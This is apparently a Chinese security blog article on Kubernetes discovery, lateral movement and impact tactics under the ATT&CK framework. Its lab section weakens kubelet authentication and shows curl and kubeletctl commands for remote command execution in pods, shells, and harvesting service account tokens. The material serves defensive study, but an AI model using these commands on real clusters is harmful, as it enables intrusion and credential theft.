常见容器安全威胁来源于构建环境安全、运行时安全、操作系统安全、编排管理安全等，参考下图阿里云云上容器ATT&CK攻防矩阵，进行体系化研究：
在容器安全场景下，MITRE ATT&CK框架中的Discovery（发现）战术矩阵主要关注攻击者如何在目标环境中探索信息，以更好地理解环境结构、识别有价值的目标和定位潜在的弱点。这一战术阶段的目标包括：
-
系统发现：攻击者试图了解容器环境中的主机、容器、服务及应用程序等具体构成，例如通过查询API接口获取集群信息，或者利用工具扫描网络端口以确定活动的服务。
-
用户账户发现：攻击者尝试找出具有较高权限或敏感访问权限的用户账户，以便进一步提权或冒充合法用户进行操作。
-
数据发现：识别并定位容器中存储的敏感数据，如源代码、配置文件、密钥、凭证等，这些数据可能被用于后续的数据泄露或横向移动攻击。
-
网络发现：攻击者通过在网络层面进行探测，了解容器间的通信方式、依赖关系以及防护措施，为后续实施网络攻击做好准备。
该战术的意义在于，通过模拟并防御攻击者的信息收集行为，可以帮助安全团队明确自身环境中可能存在哪些易受攻击的点，从而针对性地强化防御策略，提升整体安全态势感知能力，并有效地阻止攻击者在攻击链的早期阶段取得进展。
参照第五章节所述，在云上容器安全威胁的特定场景下，一旦攻击者成功侵入Pod，他们能够运用诸如curl或wget等HTTP客户端工具，或者通过预编译的报文构建工具，直接对Kubernetes（简称K8s）的RESTful API发起交互。当此类攻击者所利用的服务账号具备高级权限时，他们将能够直接通过API Server下达指令，实现对集群内部横向移动的攻击操作。
另一方面，即使在用户权限较低的情况下，攻击者仍然有可能借助API Server，对集群内部的各项资源信息、运行状态以及敏感数据（如Secrets）进行深度探测和获取。这一过程显著增强了攻击者识别并定位下一个潜在突破口的能力，从而加剧了整个集群的安全风险。
在Kubernetes集群架构中，每个Node节点均运行着一个核心组件——Kubelet进程，该进程扮演着关键的角色，负责接收并执行由Master节点分发至本节点的任务指令，同时承担对Pod及其内部容器的生命周期管理。具体来说，Kubelet对外暴露了三个关键端口：10250端口用于提供经过认证和授权的API接口；10255端口开放了只读API服务，无需额外授权即可访问；而10256端口则服务于健康检查API。
尤其值得关注的是10255端口的只读API服务，虽然其设计初衷是为了提高集群状态信息的透明度与可观察性，但攻击者可能利用这一特性无权限限制地获取到包括Node、Pod的IP地址信息、挂载资源情况以及环境变量等敏感配置详情。这些信息对于攻击者而言，具有极高的价值，能够帮助他们深度理解业务场景构建及集群网络的整体拓扑结构，从而为进一步的潜在攻击行为锁定目标与路径。因此，针对10255端口的安全策略优化显得尤为重要，以防止未经授权的信息泄露风险。
关于Kubelet API官方并未提供文档，更多接口可在Kubelet源码中挖掘。一些有用的路径：
http://{node_ip}:10255/podshttp://{node_ip}:10255/spec
10250端口未授权访问
10250的端口当前版本中默认需要认证
但在老版本的K8s集群中或在用户权限(system:anonymous)被错误配置的情况下，可以尝试直接通过10250端口下发指令。
编辑 kubelet 的配置文件 /var/lib/kubelet/config.yaml （默认位置）并进行以下更改：
1. 设置authentication：anonymous：enabled为true（默认是false）
2. 设置authorization：mode为AlwaysAllow（默认是Webhook）
重启kubelet服务
systemctl restart kubelet现在可以远程访问了
利用返回的信息执行命令
curl -XPOST -k "https://192.168.159.236:10250/run/kube-system/kube-proxy-ccqvn/kube-proxy" -d "cmd=hostname"curl -XPOST -k "https://192.168.159.236:10250/run/kube-system/kube-proxy-ccqvn/kube-proxy" -d "cmd=hostname“
由于一些 API 命令与curl一起使用时比较复杂，我们使用一个更方便的客户端kubeletctl
项目地址：https://github.com/cyberark/kubeletctl
下载并安装
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl接下来我们使用这个工具对kubernetes集群进行发现发现、侦察、远程代码执行
发现：发现10250端口
搜索打开 kubelet 端口的节点，可以在特定子网上使用kubeletctl scan命令
kubeletctl scan --cidr 192.168.159.0/24侦察：列出节点上的pods
确定可访问的 kubelet API 后，我们需要检查可以提取哪些信息。最常见和最重要的信息是/pods端点，它将为我们提供 Pod 列表。
kubeletctl pods --server 192.168.159.236
容器内的远程代码执行
一旦我们获得了 Pod 和容器的详细信息，我们就可以在它们内部运行命令。kubeletctl添加scan rce参数来单独检查每个容器，以查看是否可以在其中运行命令。
kubeletctl scan rce --server 192.168.159.236
执行命令
kubeletctl exec "hostname" -p kube-proxy-ccqvn -c kube-proxy -n kube-system --server 192.168.159.236进入容器
kubeletctl exec sh -p kube-proxy-ccqvn -c kube-proxy -n kube-system --server 192.168.159.236
可以在节点内的所有 pod 上运行命令，而无需单独指定每个 pod 和容器
kubeletctl run "uname -a" --all-pods --server 192.168.159.236
攻击者在 Kubernetes 环境中最常见的事情之一就是搜索令牌，因此有一个特定的命令可以查看所有容器中的令牌
kubeletctl scan token --server 192.168.159.236
10255端口未授权访问
默认情况下k8s集群不对外开放10255端口，我们在配置文件config.yaml中添加readOnlyPort: 10255
重启kubelet服务
systemctl restart kubelet现在可以访问集群的10255端口
10255端口是只读的，只能获取信息，无法对pod执行命令，读取token等操作。
获取pods信息：
kubeletctl pods --server 192.168.159.236 --http --port=10255
执行读取token的命令没有返回结果
kubeletctl scan token --server 192.168.159.236 --http --port=10255
每个主机操作系统均存在一个攻击界面，该界面构成了攻击者可能利用的各种潜在漏洞和途径的整体集合。例如，任何暴露在网络环境中的服务都会为攻击者提供一个潜在的切入点，并进一步扩展了系统的攻击界面。攻击界面的扩大意味着攻击者更有可能发现并利用这些漏洞，从而对主机操作系统及其承载的容器应用构成威胁，导致系统安全受到侵害。
在Kubernetes（K8s）环境中，黑客通常会针对Node、Pod及Service三个网络层级进行深入的存活探测与端口扫描活动，旨在全方位寻找可利用的安全缺口。他们不仅从K8s内置服务的层面出发，还会挖掘用户部署的应用程序以及第三方K8s插件等多维度的潜在攻击面。此外，黑客一旦定位到Node的IP地址，将尝试访问Kubelet API接口，以期获取详尽的Pod资源拓扑信息，进而为下一步的潜在攻击行动奠定基础。
可使用上文提到的kubeletctl进行扫描。
Kubernetes Dashboard是一个功能全面的WEB界面工具，旨在简化并增强用户对Kubernetes集群资源（例如：Deployment、Job、DaemonSet等）的可视化创建、配置更新与运维管理能力。其部署方式会依据具体的云服务提供商及用户的个性化配置进行调整，在遵循官方标准部署流程时，Dashboard通常会在集群内部署独立的Namespace、Service、Role以及ServiceAccount等核心组件以实现安全隔离和权限控制。例如，在阿里云容器服务中所提供的Kubernetes Dashboard解决方案即采取了上述部署策略，确保用户能够在具备高度可控性和安全性的环境下，高效地通过图形化界面操作和管理Kubernetes各类资源对象。
在Kubernetes环境中，默认配置下Pod之间具备网络通信能力。一旦攻击者成功侵入某一个Pod，他们能够通过实施信息收集和内网扫描等手段，定位到Kubernetes Dashboard所关联的Service地址。进一步地，攻击者可能会利用与Kubernetes Dashboard服务关联的预设Service Account进行身份验证及授权操作，从而执行潜在的恶意行为。
在先前的文章中所详述的私有镜像库攻击向量中，攻击者有可能通过挖掘Kubernetes (K8s) 中的秘密（secret）或本地配置文件中的凭证信息，从而揭示出与私有镜像库的连接途径。一旦获取到恰当的权限，攻击者便能够对私有镜像库中的镜像进行非法劫持操作，进而利用此手段实现在集群内部的横向移动和持久化驻留攻击。
更具体地，攻击者可能会针对存储于K8s secret中的认证凭据发动攻击，这些凭据通常用于访问和管理私有镜像仓库。通过窃取并滥用这些凭据，攻击者能够在未授权的情况下篡改、植入恶意软件或替换私有镜像库中的容器镜像。这一系列操作极大地扩展了其在目标环境中的控制范围，并可能借助被感染的镜像在Kubernetes集群内实施深度渗透和长期潜伏，即实现了安全领域所说的“横向移动”和“持久化”。
在云原生环境下的容器化应用部署中，服务系统频繁与多元化的内部和外部API进行集成交互。攻击者可能通过恶意手段探测并收集这些API的认证凭据，或探查是否存在未授权访问的漏洞，以此为跳板来进行深度攻击前的准备工作。可参考之前文章里面的AK泄露利用方式。
同时，在某些云服务提供商所提供的Container-as-a-Service (CaaS) 或Serverless架构容器场景下，为了增强用户与底层云基础设施间的通信便利性，厂商会内嵌专用Sidecar容器或者通过挂载特定API至业务逻辑容器的方式，提供额外的管理接口。然而，这些特设的接口在带来便捷性的同时，也可能成为攻击者实施信息搜集战略时的关键突破口。
在Kubernetes 服务暴露机制中，主要有三种模式：ClusterIP、NodePort以及LoadBalancer。其中，LoadBalancer模式通常与云服务提供商的负载均衡产品深度集成，从而提供了强大的流量审计和管理功能。
针对混合部署场景，即K8s集群与虚拟机(VM)共存于同一内网环境时，若攻击者利用非容器化部分的潜在安全漏洞突破防线进入内网，可能会通过NodePort服务实现横向渗透。在快速迭代业务环境中，相比于动态分配端口的ClusterIP服务，NodePort服务由于其端口固定的特性，更可能被选作穿越网络边界管控策略及防火墙限制的稳定控制通道。
默认配置下，K8s集群为NodePort服务分配的端口号范围是30000至32767。参考https://www.cnblogs.com/scajy/p/15493248.html配置实现使用NodePort对外暴露应用。
在容器安全场景下，MITRE ATT&CK框架中的Lateral Movement（横向移动）战术有着特殊的意义和目的：
目的：
-
环境扩展：攻击者在成功入侵一个容器后，利用容器间或集群内的通信机制、配置错误或者漏洞，在不同容器之间进行迁移或传播恶意软件，扩大攻击范围。
-
权限提升：通过在容器内部署工具或利用容器间的信任关系，攻击者可能试图获取更高权限，以控制系统中更多的资源或关键服务。
-
持久化存在：在不同容器之间建立通道可以实现持久化控制，即使原始攻击入口被发现并封堵，攻击者仍能保持对系统一定程度的控制。
意义：
-
威胁防御复杂性增加：在容器环境下，由于容器间的隔离性较传统主机环境有所变化，因此检测和阻止横向移动变得更具挑战。容器共享内核且网络连接更为灵活，这为攻击者提供了更多潜在的移动路径。
-
风险扩散加速：一旦攻击者在容器中取得立足点并开始横向移动，可能导致整个容器集群快速受到影响，尤其是对于那些部署了敏感应用或数据的容器来说，这种风险尤为严重。
-
安全策略强化需求：了解和应对容器环境下的横向移动技战法有助于企业制定更精细的安全策略，例如严格限制不必要的容器间通信，实施细粒度的访问控制，以及采用能够监控容器间行为和网络流量的安全解决方案。
因此，在容器安全领域，针对ATT&CK框架中的Lateral Movement战术， 企业需要特别关注容器之间的安全边界，强化身份验证、授权和审计措施，并采取相应的安全工具和技术来检测和防止此类恶意活动的发生。
攻击者利用容器内部文件或K8s secret中窃取到的云服务通信凭证进行横向移动。
可参考第七节相关内容。
参考第七节相关内容，在高度容器化的现代IT架构中，服务的主流实现形态已转为API驱动模式，这一转变使得凭证窃取成为攻击者觊觎核心数据资产并扩大攻击范围的关键策略手段。
对于攻击者来说，其潜在目标核心包括但不限于Kubernetes（K8s）集群的认证凭据、云服务商提供的各类访问密钥以及企业内部自建应用间的通信授权凭证等关键安全元素。
参考第五节相关内容，攻击者能够在容器内部利用Service Account接口对接Kubernetes API，通过此种方式对当前Pod所关联的用户权限进行深度探测。在获取到充分权限的前提下，攻击者能够针对API执行恶意指令或者进一步利用Kubernetes系统中潜在的权限提升漏洞，进而实现对集群内其他资源的非法访问与操控。
参考前文，在标准配置下，Kubernetes(K8s)系统内部默认实现了Pod与Service之间的直接通信机制，构建了一个封闭且庞大的内网环境。一旦攻击者成功突破某一个Pod的安全防线，他们能够通过内网扫描技术，发现并收集服务信息，进而可能利用应用层漏洞、弱口令及未经授权的访问路径等手段，横向渗透至集群内的其他资源。
然而，K8s集成了网络策略(NetworkPolicy)这一功能组件，允许用户精细化定义Pod间的通信规则和权限控制。借助于网络策略，可以实现对集群内部东西向流量的细粒度审计与管控。此外，一些高级网络插件以及容器安全解决方案也提供了对K8s环境中Pod间通信行为的深度检测和管理能力，从而强化集群整体的安全防护体系。
参考第六节相关内容，攻击者可以利用挂载到容器内部的目录完成从pod到node的移动。
参考上文K8s Dashboard所在的Pod，攻击者在进入某个pod之后，可以通过信息收集或内网扫描的方式发现K8s dashboard所在service地址，并在管理员权限配置失当的情况下通过K8s Dashboard下发指令。
在众多K8s入门教程中，为了简化学习曲线和提升实践效率，往往会推荐使用一些便捷的插件及预设配置方案。然而，这些教程往往忽视了真实生产环境中至关重要的安全考量。初期版本的插件可能存在着如API默认无授权访问等鉴权漏洞，只有在经历多轮外部攻击测试后，其安全性才逐渐得到稳固和完善。这种不安全的配置以及对第三方K8s插件/工具的依赖，实际上引入了新的潜在威胁面，并为攻击者实施横向移动提供了便利条件。
举例来说，在实际场景中，攻击者一旦成功渗透进入某个pod，可能会利用第三方组件未经充分授权或存在漏洞的特点，进而发起针对这些组件的攻击。一旦得逞，攻击者便能通过这些第三方组件所赋予的权限，对整个K8s集群进行恶意操控，实现横向移动攻击的目的。
在容器安全的背景下，蓄意破坏的攻击者可能会采取一系列操作手段，包括但不限于中止关键服务运行、禁用系统内不可或缺的功能组件以及消除核心文件和数据资源，旨在剥夺合法用户的正常服务访问权限。
此类针对容器内部关键服务的破坏行为，不仅显著削弱了防御方对安全事件的即时识别与应对能力，而且为攻击者实现其深层次战略目标提供了便利条件，进而加剧了整个容器环境的运行风险及安全性挑战。
常见于攻击者通过自动化脚本入侵并植入挖矿程序进行获利。
攻击者会发起DoS攻击，影响系统的可用性。容器化场景中的DoS攻击包括对业务层、K8s API层的攻击以及对Pod资源的抢占。
在传统主机安全场景中，有经验的攻击者会找到企业核心数据并对其进行加密勒索。由于容器场景的资源弹性较大，且后端数据的产生、存储、销毁链路往往通过云服务API实现，而非在用户磁盘上进行，企业可以通过云原生的快照与备份服务来实现资产备份，避免核心数据丢失。
参考
https://www.freebuf.com/articles/container/382785.html
（沙龙预告：海报还没做出来，但本周一定会有场沙龙哟）
原文始发于微信公众号（东方隐侠安全团队）：第八节：云上容器安全威胁（五）探测、横向移动与影响
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论